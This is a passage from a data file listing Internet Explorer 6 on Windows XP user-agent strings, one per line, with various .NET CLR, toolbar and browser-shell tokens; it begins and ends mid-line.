1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3328)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 1.2.30703)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Seekmo 10.0.427.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Sleipnir/2.7.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Acoo Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Advanced Searchbar 3.25; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; SV1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser 7.0.0.8 [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; Hotbar 4.3.1.0; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; Avant Browser; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Covac UPPS Cathan 1.2.5;)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; snprtz|T04056566514940; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 2.0.40607; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Dealio Toolbar 3.4; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 2.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Q312461; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; YPC 3.2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; YPC 3.2.0; SV1; .NET CLR 1.1.4322; yplus 5.3.02d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FBSMTWB)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FreeprodTB)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FreeprodTB; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyTotalSearch)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; MathPlayer 2.0; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; iebar; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; (R1 1.5); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.6.1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; (R1 1.5); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Hotbar 10.0.356.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; Alexa Toolbar; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Hotbar 4.5.1.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Wanadoo 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Wanadoo 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0; .NET CLR 1.1.4322; HbTools 4.8.0; yplus 5.3.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; i-NavFourF; .NET CLR 1.1.4322; HbTools 4.7.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Seekmo 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Wanadoo 5.6; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; YPC 3.2.0; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; YPC 3.2.0; SV1; .NET CLR 1.1.4322; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 